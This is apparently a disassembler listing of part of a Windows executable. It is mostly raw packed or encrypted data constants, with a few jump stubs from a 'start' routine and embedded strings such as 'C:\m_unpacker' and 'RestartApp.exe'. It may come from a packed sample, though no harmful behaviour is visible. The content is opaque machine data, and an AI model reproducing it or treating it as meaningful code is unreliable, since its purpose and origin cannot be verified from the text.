dd 7C044C34h, 800009FFh, 3B658CDh, 9B7A90Fh, 2808C020h
dd 8055AA75h, 0ABDE2A71h, 5A008DA5h, 9F6D1108h, 0D7FD7Bh
dd 0C799D12Bh, 1F566E09h, 0B682F899h, 20AA4A15h, 0FBD97D1Eh
dd 2196900h, 10E93B25h, 84FC0CCCh, 4B91E2C7h, 6DAB18A0h
dd 0DBF3500h, 0AF5B0430h, 0D05209D6h, 9848CBE1h, 0F87753F3h
dd 0AB683800h, 9CD27135h, 4ADB1846h, 57E549A7h, 0DFE7FF00h
dd 679D559Ah, 0E041525Dh, 0A14017Bh, 0AA6A2C86h, 3859935Eh
dd 0CAFA9100h, 34E7ACFh, 9D834EBh, 26A82F3Eh, 4D0BFC9Fh
dd 1F21AFh, 3383271Eh, 0EB9E072Eh, 0A03A7F7Bh, 0FE8D478Ah
dd 0FD7EE2F8h, 271CBC00h, 0D42AD64Fh, 0FB4A00C9h, 3E138A4Bh
dd 80FFB623h, 0CF754F48h, 18CC2E62h, 6154208Bh, 2B1D16BEh
dd 19807249h, 48F5B1C2h, 135E00E7h, 392658D1h, 0B67FF69Dh
dd 791549C0h, 2A5ADAD2h, 3A304A2Ah, 0FEF39Ah, 352CA022h
dd 60210F86h, 0B2B169C0h, 0AAB8DCh, 48C4A922h, 6BDAA8BBh
dd 37D48806h, 30490E9Dh, 66D11DBEh, 360EA1C4h, 0E0DDA9FDh
dd 862172C0h, 900E3BDFh, 8181129Eh, 0B717E822h, 9941801Eh
dd 74E17C5Ch, 0DA500C48h, 0AF5138BCh, 60845601h, 862DE318h
dd 0C01D20E4h, 8F45EAA1h, 3372296Fh, 8D00667Eh, 0DFA1B3CFh
dd 1EA6A9D8h, 9F10C265h, 0E08640C0h, 5AA311E1h, 343541C0h
dd 7FA54CC7h, 220600DAh, 468BD333h, 81DC15A8h, 0B0350287h
dd 0FDD0890h, 95A300E6h, 4520B570h, 6A7FFC42h, 90604FB8h
dd 0CC8C3C50h, 1C00122h, 0C295D4CFh, 248143A0h, 850E507Bh
dd 60066187h, 38FB6B35h, 0B0406353h, 0F2D1FD45h, 9C8BC474h
dd 5E12BF1Eh, 0F8C03977h, 0E0E2369h, 80C5852Eh, 65E0ADE0h
dd 0EA3E494Ah, 8C468EB7h, 0D84DA0C2h, 60182F2h, 0A11C884Fh
dd 5E30D10Bh, 54E45139h, 0B9100081h, 0ED3B6DC7h, 4A006443h
dd 0BCBEA4F9h, 30881C89h, 1030286Fh, 9CA86BBFh, 0DCA924B7h
dd 1D72F8A4h, 0E8E42916h, 8A90BE00h, 55321h, 0B36C3512h
dd 0A676CE2Ch, 24002E7Ch, 0AACFF39Fh, 3B0A811h, 3D09AD51h
dd 0A10017BBh, 7BC02F91h, 784EF8h, 1A7F87AFh, 9BB6326Bh
dd 0D0CECF37h, 574007B4h, 0D734DF10h, 0A9E47473h, 861F2EF0h
dd 0C3AD4CBh, 0B96220D0h, 0F30006Ah, 5C1182Ch, 0D304D8BFh
dd 5194634Bh, 23670C82h, 0E1000DB6h, 1FA8CAA2h, 3D33C20Eh
dd 9B13C8C7h, 0C05F1E91h, 0ACBD656Eh, 81540647h, 0F8A10194h
dd 6022BBh, 1FD87C37h, 0F82FB8E3h, 0AE19C016h, 0DCBE976Ah
dd 0CEB7550Eh, 5601DF31h, 0CFE8834Bh, 12B1B70h, 0E079A313h
dd 0EC89ADABh, 2148F2D1h, 3F78E60h, 0D1A1ECFEh, 81802584h
dd 0AA9CE85h, 6F002FDDh, 1817F2DEh, 182EB234h, 29D1BB22h
dd 0E091CE3Eh, 10A23Dh, 0C78C3BC0h, 41231798h, 9FA80A00h
dd 1C48619Dh, 0E962619Eh, 4964C010h, 4D20DE98h, 1ED02DC7h
dd 4214C3h, 6BC56C39h, 0B403FACCh, 218527AEh, 4F390069h
dd 511943Bh, 130162F2h, 22B6FFAFh, 0C5F882F7h, 87F301BEh
dd 2F4D85DFh, 0B5D88271h, 403D0CCBh, 1353A598h, 25D4385Bh
dd 2EC40524h, 0F00800B6h, 180A5C46h, 0BE58E13Fh, 1516826Ch
dd 0A0265F32h, 596D4784h, 353704B9h, 80481996h, 0D7C224E4h
dd 26EE3900h, 0BFF9A053h, 6BD500E8h, 0CCA6CE86h, 2160B6D0h
dd 8999EA69h, 5E690083h, 447D4D7Bh, 8800BCC3h, 9547B5E7h
dd 1881DE96h, 10BBD849h, 43E074DAh, 87865702h, 0C011C253h
dd 2485365Ah, 4120991Ch, 504EAA10h, 0E8064698h, 93082D63h
dd 20C1292Fh, 0A42100A8h, 7BB14E5Ah, 0CF4A7300h, 0C0DCABFAh
dd 162B0002h, 0E3CC0F98h, 4E480A80h, 0F56500C0h, 68C1CE5Dh
dd 25EF0C2Fh, 7B593A5Fh, 5446A00h, 566C9E70h, 0D51400EAh
dd 3E67D4E6h, 28016B54h, 5B168739h, 0B030ACFCh, 0B5CCA0C5h
dd 22351843h, 3E25991Ch, 4AFF5C0Fh, 5AD60F4h, 0A34503h
dd 0F0C898C2h, 0B191F113h, 58888D01h, 42690822h, 6DC2B441h
dd 0D4D82FC9h, 702E6315h, 5E89D091h, 4BA98134h, 925B6CC3h
dd 5A4DFB40h, 0BB9A00F7h, 0AE069E2Bh, 5202908Ah, 22311048h
dd 2944C87h, 0E12B94BAh, 8443F75h, 0AC7B9501h, 52459779h
dd 0F594D840h, 46E63B86h, 4D80DC58h, 0B80C3C16h, 0FF12F400h
dd 95352BDDh, 2CF00678h, 512A9022h, 0B87FC230h, 7B9A502h
dd 0B08C37A6h, 7A214C5Eh, 414CE200h, 4D6C662Dh, 2E94005Bh
dd 842FA297h, 64EE0D1Fh, 300026B8h, 7712CD39h, 5421A6F6h
dd 9BFB063h, 0F5CBA399h, 408C3207h, 0B6C80EA1h, 501249h
dd 97D68AFDh, 51140Ah, 928672F7h, 0D2E2758Dh, 4640B300h
dd 0A75391ACh, 504EE631h, 1B505Fh, 80DDB645h, 0E5627C61h
dd 9AB0894Eh, 11F80787h, 613C5EEEh, 63086609h, 3DE03D58h
dd 0D93000A8h, 7361042Bh, 0C07CFBh, 0E9141178h, 0F1417787h
dd 2C768E01h, 0BE222533h, 2EFC9C49h, 90FE64Ch, 62FCF7A3h
dd 522CCC01h, 8FF42066h, 1224898h, 70A52227h, 6B722h, 0A0141364h
dd 0CAC57B65h, 0FB6EFD00h, 2A3A8C03h, 7098385Ch, 0AD31F504h
dd 19ACC820h, 25B7B07h, 0A4D0A041h, 4877355Dh, 5607D010h
dd 49AB469Dh, 0A1C97800h, 53B8ACBBh, 0B98ECC91h, 75027F5h
dd 1CF89D40h, 0FCDC5069h, 0EFC13AC8h, 4070E118h, 0A7341175h
dd 0F4803959h, 308EED8h, 1ACFA662h, 0E1003BBEh, 42F6088h
dd 0C061217Bh, 6DD00931h, 0A4002032h, 0BA4F520Dh, 292F89ACh
dd 12A49D22h, 0B8480A75h, 154C5ACh, 81C54EDEh, 37FC7024h
dd 1940E0E2h, 0CE33004Fh, 5F13FF14h, 634825DAh, 51440584h
dd 0C41FCCE8h, 80EB3A8Bh, 0AB2F1AE4h, 5DBB09A7h, 0B010B821h
dd 4507F4F0h, 75CF647Dh, 0F97080BBh, 3284B7C1h, 1E70A402h
dd 4C305621h, 0F6005823h, 6446EC10h, 0DF008681h, 0FFE8E2BCh
dd 5FC6B29h, 0C2163CEDh, 0F7A88CACh, 0B7C9B61Dh, 6D9C7740h
dd 0E2A809C4h, 48A900DFh, 6BE72BEEh, 5E004119h, 0CB759287h
dd 0C5F5665h, 14BC2468h, 1D777F49h, 44C87200h, 0DA9CA025h
dd 31EB00D5h, 0D7C14A9Eh, 6B0430E1h, 48CBE09Bh, 491478C7h
dd 25572082h, 583BC0F9h, 61024ABDh, 0C5711CEAh, 2CE687h
dd 0DDF554C8h
dd 0E499DC6Ah, 0B5CB3E00h, 68938E1Dh, 0E98C05BEh, 0C88A1CC9h
dd 0C600F174h, 6FC0AEE0h, 1E64CBA1h, 8072352Ch, 19BFCF29h
dd 6B885A20h, 32F100CDh, 8E87D7C4h, 3813DA35h, 44004A0Ch
dd 0F478221Eh, 44A090ADh, 7F182906h, 0B8D0AAE0h, 218E110Bh
dd 113D0955h, 0D9EF03F5h, 0A0C88C3Fh, 96D73B32h, 9C99ECBCh
dd 23C9E8F4h, 22A00384h, 0D1BA989Bh, 39943887h, 0A700101Fh
dd 89D21C79h, 0B099795h, 0A0AC214Ah, 0E15E7BFCh, 3E3F37AFh
dd 0E15A039h, 6E007764h, 0A8EC813Dh, 98C6B509h, 8EE8061Ch
dd 0D10ABC2Fh, 85759A00h, 8DF03981h, 1E2904EEh, 809BB911h
dd 2B9949E7h, 0EFC0F5Ch, 4C535ED6h, 0E66941h, 7CE5FB9Fh
dd 11A7C09Eh, 384A252Ch, 0C0802363h, 0CCDBCh, 0B0F239A3h
dd 112D9855h, 0F1A4891Dh, 87ACEB80h, 0C016BC27h, 0BB250591h
dd 7100FF9Eh, 0F25A5761h, 41E7002h, 9DB2A726h, 0C9C4821Ah
dd 120090E6h, 0F5163F2h, 0E21CA647h, 0DF320FCEh, 6C0258FDh
dd 0C0603348h, 9C9921B0h, 855DC280h, 1FA7A9F8h, 0E110964h
dd 0E142576Fh, 0B080A177h, 0B6C62875h, 1481F49h, 0F892F16Dh
dd 0EB5E5Ah, 0CB3DDA49h, 53CF07CAh, 0FA67EE06h, 4407092h
dd 2E4090E3h, 0FDB4B0F6h, 0E7F223Eh, 80B549C5h, 5C29D2CAh
dd 4038964Ch, 0D996C89Ah, 10E59700h, 1D60F371h, 4C3AE085h
dd 0E8497103h, 2E6FF480h, 7E02CCF5h, 3E0E3A75h, 3C5882E2h
dd 5624E0C0h, 3C6748C4h, 0FEEF0D01h, 0D8D74572h, 204C5703h
dd 0E2C28094h, 0EA234E8Fh, 0C5601D4h, 19F2D8A6h, 300BC5A0h
dd 0CC012D68h, 309C5347h, 8C229F1Ch, 888A2E12h, 587E3170h
dd 3006B71h, 947F1FC3h, 780C0E8Dh, 877B0076h, 6357EE95h
dd 0B730D052h, 0D9243908h, 0E2110030h, 76A104AEh, 56672154h
dd 0A010B0A1h, 7075250h, 0F6F8E8B2h, 828FD487h, 20C0AEEDh
dd 0E33037C6h, 0A6AF51B4h, 80989973h, 0A7CBDE49h, 1290137Eh
dd 0FBBE1600h, 0CD4770B3h, 0BD35011Bh, 2548A7Ah, 0FE984289h
dd 0DA00A471h, 0AEC94DCFh, 0F78E00A6h, 1F37CBD1h, 90926079h
dd 0F1D85100h, 0F38759C0h, 0ABFFED0h, 99B1C68h, 8090A994h
dd 6731E62Ah, 5C00DAACh, 9D3B9A2Fh, 136D0ADh, 0A5D22375h
dd 2D2155A9h, 2F1D00CCh, 4C709EC3h, 7C560184h, 7F8ECDB7h
dd 0A830204Bh, 82B88839h, 374857A5h, 0EF8519Dh, 6FA002C0h
dd 1DD5385Ah, 587019C1h, 0A8703516h, 1CC5254h, 60FBFFFFh
dd 0
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_583441: ; CODE XREF: start:loc_515265j
; DATA XREF: start:loc_515086o
jmp loc_58698A
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 4
dd 13h dup(0)
dd 0EB940000h, 59377C90h, 0B8h, 0EB940000h, 7C90h, 0
dd 0BC170000h, 0FFFEh, 8EE40000h, 0B1h, 0FFFF0000h, 0FFF6h
dd 0
dd 0FFB00000h, 1D2h, 2 dup(0)
dd 0EB940000h, 7C90h, 7 dup(0)
dd 0C00000h, 6 dup(0)
dd 48770000h, 3876h, 2 dup(0)
dd 0B9150000h, 0DE72h, 0
dd 8D8D0000h, 66FDh, 0ABEA0000h, 129h, 0
dd 0DFD20000h, 60h, 2 dup(0)
dd 4F2E0000h, 5Ch, 10000h, 4 dup(0)
dd 78280000h, 5Fh, 2 dup(0)
dd 0A2400000h, 146CFFFFh, 836Fh, 3 dup(0)
dd 0F4AE0000h, 0FFA3h, 9F350000h, 5139h, 0
dd 0ED9A0000h, 5Bh, 8 dup(0)
dd 1F40000h, 0ABE90000h, 0FED6h, 5190000h, 43BBh, 290000h
dd 2 dup(0)
dd 625E0000h, 53B1h, 0
dd 4FE60000h, 0E892h, 5 dup(0)
dd 53AA0000h, 843Ah, 0
dd 0A3D40000h, 0AFCBh, 4 dup(0)
dd 0A210026Dh, 3442h, 0BA750000h, 79E07A1h, 0FFFFh, 9C740000h
dd 7C80h, 27h dup(0)
dd 64B90000h, 837Fh, 2 dup(0)
dd 42FD0000h, 0ED9A005Fh, 5Bh, 0D8DE0000h, 5Ch, 2 dup(0)
dd 57D50000h, 3F0F7ED3h, 0B7h, 7 dup(0)
dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0)
dd 7D080000h, 5Bh, 54167E41h, 0FED6h, 9D730000h, 557Ch
dd 4 dup(0)
dd 10000h, 3 dup(0)
dd 0CA3E0000h, 69A9h, 2 dup(0)
dd 0FFFF0000h, 0FFFFh, 0ABEA0000h, 129h, 96A0000h, 5Bh
dd 0C8680000h, 5Ch, 0
dd 4E6E0000h, 58h, 0D6A0000h, 5Bh, 0
dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h
dd 0
; ---------------------------------------------------------------------------
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0B1FA37h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 12h dup(0)
dd 942E0000h, 5Ch, 3 dup(0)
dd 6F100000h, 25Ch, 253h, 8 dup(0)
dd 0EB900000h, 8 dup(0)
dd 180F0000h, 0B1h, 0E2900000h, 0A944h, 2 dup(0)
dd 0F39A0000h, 6 dup(0)
dd 56430000h, 10h dup(0)
dd 30DF0000h, 0A9C5h, 0
dd 28780000h, 0B4h, 6 dup(0)
dd 7D10000h, 0D9000000h, 1702h, 0Ah dup(0)
dd 22C60000h, 5Ch, 0Bh dup(0)
dd 0EB090000h, 0FFABh, 4 dup(0)
dd 91BB0000h, 17Fh, 3 dup(0)
dd 0BDDF0000h, 66FDh, 4 dup(0)
dd 6EB20000h, 0E81B005Bh, 0EB947D42h, 65527C90h, 72617473h
dd 70704174h, 6578652Eh, 56510000h, 2 dup(0)
dd 26Dh, 3 dup(0)
dd 0BA750000h, 7A1h, 6 dup(0)
dd 0C41B0000h, 77DFh, 3D5F0000h, 5Eh, 5 dup(0)
dd 2CFA0000h, 0BE04h, 2D8A0000h, 5Fh, 3 dup(0)
align 10h
dd 21h, 11h dup(0)
dd 7C80h, 2 dup(0)
dd 0CFE20000h, 0FE9Dh, 3 dup(0)
dd 11DA0000h, 7C81h, 30440000h, 67h dup(0)
dd 0DCE80000h, 0AEA1DDAEh, 0B1h, 8 dup(0)
dd 0FA030000h, 0B1h, 3 dup(0)
dd 0EB940000h, 7C90h, 3 dup(0)
dd 0A63C76B4h, 0B5D6005Dh, 4 dup(0)
dd 93FE0000h, 0FF7DFFFFh, 75B507E1h, 2 dup(0)
dd 87230000h, 0B1h, 77DDh, 4 dup(0)
dd 0F9C0000h, 40000h, 56430000h, 0
dd 0B6C80000h, 60h, 0FFFF0000h, 0FFFFh, 0
dd 230000h, 5Ch, 3 dup(0)
dd 342D0000h, 130h, 0Dh dup(0)
dd 14F40000h, 8E517C82h, 0B1h, 4 dup(0)
dd 0CBD30000h, 0FECFh, 9 dup(0)
dd 6E0F0000h, 25Ch, 0
dd 4DAB0000h, 7F09h, 0F0000000h, 4, 2Bh dup(0)
dd 0DA440000h, 4 dup(0)
dd 13970000h, 0EA61h, 4 dup(0)
dd 58090000h, 5Fh, 0F1130000h, 52B1h, 0
dd 16010000h, 87F4h, 4 dup(0)
dd 29010000h, 0C01Eh, 1A400000h, 0B1h, 3 dup(0)
dd 0B520000h, 5Ch, 0B4CF0000h, 7C80h, 0DA440000h, 0C246h
dd 2 dup(0)
dd 0F9200000h, 7CEDh, 0
dd 7C0000h, 0FFFF0000h, 0FFFFh, 0
dd 0EB940000h, 7C90h, 0
dd 62DF0000h, 5380000h, 8 dup(0)
dd 0B4FE0000h, 339A748Dh, 5Fh, 24900000h, 8 dup(0)
dd 0D9750000h, 771Fh, 5 dup(0)
dd 0DFE40000h, 0A8ADFFA3h, 35CA7E41h, 0FFA3h, 0Dh dup(0)
dd 0EAA20000h, 5Dh, 10000h, 0
dd 35C50000h, 0E72FFA3h, 5Bh, 8D8D0000h, 85EDh, 49E00000h
dd 5Fh, 0
dd 57520000h, 0C96A005Bh, 60h, 6 dup(0)
dd 342D0000h, 130h, 4 dup(0)
dd 0A00000h, 3 dup(0)
dd 0EB940000h, 7C90h, 0
dd 0FFFF0000h, 0FFE00000h, 12h, 52C90000h, 61h, 0ABEA0000h
dd 129h, 0B4F10000h, 0EB38005Fh, 5Dh, 2 dup(0)
dd 0CDDA0000h, 7C81h, 34C20000h, 5Fh, 5 dup(0)
dd 0A1260000h, 5Bh, 0
dd 0A40000h, 0EB940000h, 7C90h, 2 dup(0)
dd 0D59C0000h, 0F3B1h, 31E50000h, 0B7h, 0Dh dup(0)
dd 56430000h, 8 dup(0)
dd 0FE800000h, 12h, 1A440000h, 0EB9400B1h, 7C90h, 0Ah dup(0)
dd 630A0000h, 0F2h, 1A240000h, 7C80h, 7 dup(0)
dd 0FF7D0000h, 7E1h, 6 dup(0)
dd 10000h, 8 dup(0)
dd 0EB940000h, 18420012h, 0B1h, 0Ah dup(0)
dd 190000h, 4 dup(0)
dd 0EB940000h, 0B8177C90h, 0FFFFh, 2 dup(0)
dd 5190000h, 43BBh, 6E00000h, 0A14E8312h, 5Bh, 3 dup(0)
dd 0ABEA0000h, 129h, 18A37C80h, 2335h, 1A400000h, 4E5B00B1h
dd 76B4h, 2 dup(0)
dd 0FA370000h, 0B1h, 2 dup(0)
dd 81C30000h, 1FEDh, 2 dup(0)
dd 0FE7C0000h, 12h, 3 dup(0)
dd 15100000h, 76F2h, 5 dup(0)
dd 0D8DE0000h, 5Ch, 3 dup(0)
dd 4DF00000h, 961Fh, 3 dup(0)
dd 880000h, 5 dup(0)
dd 0A390000h, 0FFBFh, 50140000h, 0EB940011h, 7C90h, 8 dup(0)
dd 0ABEA0000h, 129h, 0EB940000h, 0F87C90h, 0B7h, 4 dup(0)
dd 10000h, 0F3E40000h, 0DDBAh, 7 dup(0)
dd 57A20000h, 0AC2505h, 2A09FFEDh, 7C81h, 9Bh dup(0)
dd 0FA030000h, 0B1h, 2 dup(0)
dd 9DA20000h, 83AC4Eh, 0F81Eh, 0
dd 5FD0000h, 0FF4Eh, 342D0000h, 130h, 3 dup(0)
dd 77760000h, 0FF7D0058h, 62DF07E1h, 2 dup(0)
dd 0EB940000h, 56C7C90h, 0FE96h, 4 dup(0)
dd 40h, 2 dup(0)
dd 17FF0000h, 0CCD0FED6h, 3FC0h, 0
dd 8D8D0000h, 0CE66FDh, 6 dup(0)
dd 91780000h, 0B6h, 3 dup(0)
dd 14900000h, 51E0h, 3 dup(0)
dd 1840000h, 0FFEDh, 3 dup(0)
dd 0AFE80000h, 5Fh, 0
dd 2D390000h, 3403h, 620000h, 0
dd 9EA50000h, 5Bh, 0
dd 3700000h, 0DA390000h, 7 dup(0)
dd 0BE670000h, 0B563h, 6 dup(0)
dd 7170000h, 0FE95h, 6 dup(0)
dd 0B1C4026Fh, 1C4h, 0ED9A0000h, 5Bh, 3 dup(0)
dd 21210000h, 2121h, 5 dup(0)
dd 146C0000h, 836Fh, 0
dd 0ABEA0000h, 129h, 5 dup(0)
dd 7E10000h, 3D170060h, 0E840058h, 2 dup(0)
dd 4B80000h, 21EDCDA3h, 5Fh, 0
dd 0ABEA0000h, 129h, 3 dup(0)
dd 0AFD90000h, 0ACCD43FFh, 0C31h, 0
dd 8D8D0000h, 24ADh, 0
dd 180F0000h, 0B1h, 0A8AD0000h, 5CE77E41h, 0
dd 0CBD30000h, 78FFFFh, 0
dd 2C0000h, 253h, 0AE3C0000h, 0C9F41089h, 5Eh, 6 dup(0)
dd 700000h, 0
dd 6C5B0000h, 0E7076F3h, 64B0005Dh, 0
dd 43660000h, 83CCh, 2 dup(0)
dd 5DFC0000h, 9FE2h, 3E0000h, 0B1h, 0
dd 30440000h, 680000h, 0
dd 0F7DB0000h, 0D4D351E5h, 8582h, 0
dd 66950000h, 38Ah, 4 dup(0)
dd 0ABEA0000h, 129h, 4 dup(0)
dd 3C0000h, 7C80h, 0EB940000h, 7C90h, 3 dup(0)
dd 97EE0000h, 14AEh, 0Ah dup(0)
dd 230Eh, 26Ch, 2 dup(0)
dd 68E40000h, 94172A22h, 0B1h, 5 dup(0)
dd 0E0930000h, 7DDCh, 4 dup(0)
dd 57CF0000h, 3D161739h, 58h, 0C6750000h, 5Dh, 0
dd 0B520000h, 5Ch, 0
dd 1D660000h, 0B18Dh, 2 dup(0)
dd 486A0000h, 23C6h, 3 dup(0)
dd 0B7E90000h, 10h, 0FF7D0000h, 7E1h, 0
dd 10000h, 0EB940000h, 7C90h, 2 dup(0)
dd 92B00000h, 0FFFFh, 3 dup(0)
dd 17ED0000h, 0BA1742B5h, 0FFFFh, 29D90000h, 1A7Ch, 0
dd 9E600000h, 180E7C80h, 9BBD7C80h, 5Dh, 2 dup(0)
dd 0FA260000h, 6607h, 0
dd 0E8140000h, 5Ch, 0AA480000h, 0F3E6h, 0CA3E0000h, 0C4E169A9h
dd 0F1F4h, 3 dup(0)
dd 40000h, 0C43B0000h, 4618h, 2 dup(0)
dd 4AF20000h, 0BD227C81h, 0FFA7h, 2 dup(0)
dd 8010000h, 8B0D840Fh, 0B4h, 3 dup(0)
dd 0B5D60000h, 10000h, 772A0000h, 82B6h, 0B8h dup(0)
dd 0FF170000h, 0FFFBh, 3 dup(0)
dd 9F350000h, 5139h, 0B6F70000h, 0B9CCEBBBh, 0F944h, 5 dup(0)
dd 0FFFF0000h, 0FFFFh, 40760000h, 710h, 0BC400000h, 9B09h
dd 2 dup(0)
dd 35DA0000h, 58h, 7 dup(0)
dd 0EB940000h, 20007C90h, 11h, 2 dup(0)
dd 39580000h, 77Bh, 0
dd 0CF310000h, 0EB19h, 2 dup(0)
dd 0B5080000h, 0B1h, 3 dup(0)
dd 4BA80000h, 14h, 0B520000h, 1CF7005Ch, 63E100B4h, 0EB94EA43h
dd 0B06D7C90h, 5Bh, 3 dup(0)
dd 0FB710000h, 0F1E17C90h, 60h, 2 dup(0)
dd 0DDF90000h, 7C90h, 0
dd 200A0000h, 5Dh, 55BE0000h, 6 dup(0)
dd 6F100000h, 25Ch, 0
dd 0B520000h, 5Ch, 2D3F0000h, 830Eh, 9F260000h, 7347h
dd 11h dup(0)
dd 2130000h, 6DD400B7h, 25Ch, 0
dd 5ADF0000h, 1E69546Bh, 0B7h, 0Eh dup(0)
dd 0FFF00000h, 12h, 5 dup(0)
dd 20E60000h, 5Fh, 73730000h, 58h, 0F50C0000h, 0FFA3h
dd 6 dup(0)
dd 26Eh, 230000h, 0BEFF0000h, 3 dup(0)
dd 0EF260000h, 0A5C400B8h, 0FFF6h, 2 dup(0)
dd 59740000h, 8655h, 4 dup(0)
dd 230000h, 58h, 0
dd 0EB940000h, 7C90h, 4 dup(0)
dd 0C6710000h, 76CFh, 2 dup(0)
dd 9C0000h, 2D390000h, 3403h, 3 dup(0)
dd 216B0000h, 668Fh, 12h dup(0)
dd 0F8900000h, 5Ch, 0
dd 78830000h, 0D43577DDh, 0C9ABh, 4C890000h, 0C993h, 0
align 8
dd 0A7h, 0
dd 0B57A0000h, 3F93h, 0C1h, 0DAF40000h, 1DA8h, 0FFFF0000h
dd 6DF3h, 3 dup(0)
dd 0B66E0000h, 7F3Fh, 30DF0000h, 0A9C5h, 2C4E0000h, 4B94h
dd 97860000h, 9BBh, 2 dup(0)
dd 0EB940000h, 7C90h, 5 dup(0)
dd 4FE60000h, 6854E892h, 64696D65h, 61h, 1Bh dup(0)
dd 30DF0000h, 0A9C5h, 2 dup(0)
dd 0EBE70000h, 0C47E77DDh, 15EDh, 0Eh dup(0)
dd 5380000h, 5 dup(0)
dd 0A770000h, 7C81h, 3 dup(0)
dd 0B23000B1h, 0FDECh, 2 dup(0)
dd 5D740000h, 0FFFFh, 7 dup(0)
dd 63150000h, 7C91h, 0Ch dup(0)
dd 0EB940000h, 7C90h, 0Dh dup(0)
dd 0ABEA0000h, 91EC0129h, 90FFFFh, 0
dd 10000h, 3 dup(0)
dd 6E0F0000h, 9CF6025Ch, 0FF0Dh, 0
dd 0FF540000h, 12h, 2 dup(0)
dd 342D0000h, 130h, 7 dup(0)
dd 0DA440000h, 35DAC246h, 9B470058h, 7C80h, 0
dd 45D20000h, 0FFA1h, 3 dup(0)
dd offset dword_4E8EAC+17154h
dd 0FE6Dh, 0
dd 20000000h, 2 dup(0)
dd 0D31F0000h, 0EB940000h, 7C90h, 7 dup(0)
dd 4FE60000h, 0C070h, 4 dup(0)
dd 6EF00000h, 25Ch, 9 dup(0)
dd 88400000h, 0A5CBh, 0FCAD24ADh, 0B3h, 7 dup(0)
dd 0A6h, 2 dup(0)
dd 9B3E0000h, 5Dh, 0EB940000h, 7C90h, 0
dd 0FFB00000h, 142h, 0DA2B0000h, 72CBh, 2 dup(0)
dd 10000000h, 40h, 0
dd 2CCE0000h, 4B94h, 0Bh dup(0)
dd 0ED00000h, 0B1h, 5 dup(0)
dd 1050000h, 0A28h, 2BE50000h, 0CFB2h, 6D330000h, 5Bh
dd 4 dup(0)
dd 0ABDB0000h, 129h, 6BF00000h, 77DDh, 4 dup(0)
dd 61180000h, 5Ch, 0
dd 22C60000h, 5Ch, 0Ch dup(0)
dd 5B710000h, 10AFh, 49B00000h, 0FF9Fh, 0
dd 146C0000h, 836Fh, 3 dup(0)
dd 0C680000h, 0F489h, 0Ah dup(0)
dd 375C0000h, 0CCF80017h, 5Fh, 3 dup(0)
dd 65C60000h, 6143h, 2 dup(0)
dd 0FB060000h, 0FFA4414Fh, 56DE0012h, 0EDE5005Ch, 77DDh
dd 3 dup(0)
dd 980000h, 4 dup(0)
dd 30000000h, 51h, 0Ch dup(0)
dd 0EB940000h, 7C90h, 0DA440000h, 0EB94C246h, 558B7C90h
dd 5Fh, 3 dup(0)
dd 0AAA10000h, 0B1h, 0
dd 0EB940000h, 7C90h, 5 dup(0)
dd 0E2020000h, 158Bh, 77000000h, 0
dd 8FAC0000h, 0FFFFh, 9 dup(0)
dd 0BB4E0000h, 80005Ch, 8 dup(0)
dd 6F230000h, 58h, 0Dh dup(0)
dd 30DF0000h, 1A9C5h, 7 dup(0)
dd 0EA280000h, 5Ch, 7 dup(0)
dd 28D80000h, 6DEh, 3F580000h, 342D7C86h, 8 dup(0)
dd 0EE5A0000h, 214A77DDh, 4 dup(0)
dd 306C0000h, 0Dh, 8D8D0000h, 0FFFF005Fh, 0FFFFh, 40330000h
dd 1A63h, 0
dd 0AC0000h, 0FFEDh, 0A8700000h, 5Fh, 0Bh dup(0)
dd 36290000h, 0CC39h, 0
dd 41810000h, 929Bh, 0
dd 214A0000h, 3 dup(0)
dd 834F0000h, 0DCE9h, 2 dup(0)
dd 261C0000h, 6 dup(0)
dd 35ED0000h, 0FFB3h, 8 dup(0)
dd 0ABEA0000h, 129h, 0
dd 25FD0000h, 6 dup(0)
dd 24930000h, 0B2h, 0Dh dup(0)
dd 9C3E0000h, 8B32005Dh, 0B4h, 4 dup(0)
dd 29180000h, 0B1h, 0D5570000h, 1E68h, 0FFB00000h, 180E0222h
dd 7C80h, 2 dup(0)
dd 0B350000h, 1210h, 6 dup(0)
dd 79770000h, 1, 2 dup(0)
dd 0B520000h, 5Ch, 0
dd 3E0000h, 0B1h, 4 dup(0)
dd 37EC0000h, 0B1h, 4 dup(0)
dd 0FFFF0000h, 0FFFFh, 0
dd 1A440000h, 0B1h, 1FF70000h, 0F936005Ch, 0B610h, 3 dup(0)
dd 1D770000h, 7C80h, 0FFB00000h, 342D01F2h, 130h, 2 dup(0)
dd 0ADA00000h, 7C80h, 7 dup(0)
dd 0ABDE0000h, 180F7C80h, 0B1h, 0
dd 0FB200000h, 9E401AD9h, 6DF48420h, 1920025Ch, 0B1h, 1Ch dup(0)
dd 940000h, 5 dup(0)
dd 0A0FE0000h, 5Bh, 0
dd 30DF0000h, 0A9C5h, 6 dup(0)
dd 11110000h, 1111h, 4 dup(0)
dd 35180000h, 0
dd 0A8CF0000h, 104400B1h, 30h, 2 dup(0)
dd 0B79A0000h, 6 dup(0)
dd 89C90000h, 2966h, 4 dup(0)
dd 5CE70000h, 5 dup(0)
dd 1A440000h, 9F0300B1h, 7C90h, 180F0000h, 0B1h, 4 dup(0)
dd 120000h, 8D960000h, 938h, 2800000h, 16F80000h, 3F0Dh
dd 7 dup(0)
dd 8B280000h, 0B1h, 0EB940000h, 7C90h, 3 dup(0)
dd 88380000h, 0FFA1h, 0FFFD0000h, 0B3FEh, 8E510000h, 0B1h
dd 6 dup(0)
dd 40000h, 5 dup(0)
dd 22220000h, 22222222h, 2222h, 0Ah dup(0)
dd 0E0090000h, 0FFA3h, 0CDDA0000h, 5A0C7C81h, 1FFF4AF0h
dd 2130000h, 0B7h, 0
db 90h
db 7Ch, 2 dup(0)
dd 8 dup(0)
dd 0F9FC0000h, 7FF900A9h, 7FD3h, 0Ah dup(0)
dd 21B50000h, 0AE48h, 40C10000h, 7DD0h, 4 dup(0)
dd 4F540000h, 11h, 0
dd 0FFFF0000h, 0FFFFh, 2 dup(0)
dd 0EFF0000h, 753Ah, 7 dup(0)
dd 12660000h, 0FFA4h, 0A0000000h, 2, 0A040000h, 5Bh, 0
dd 0ABC10000h, 5Ch, 9 dup(0)
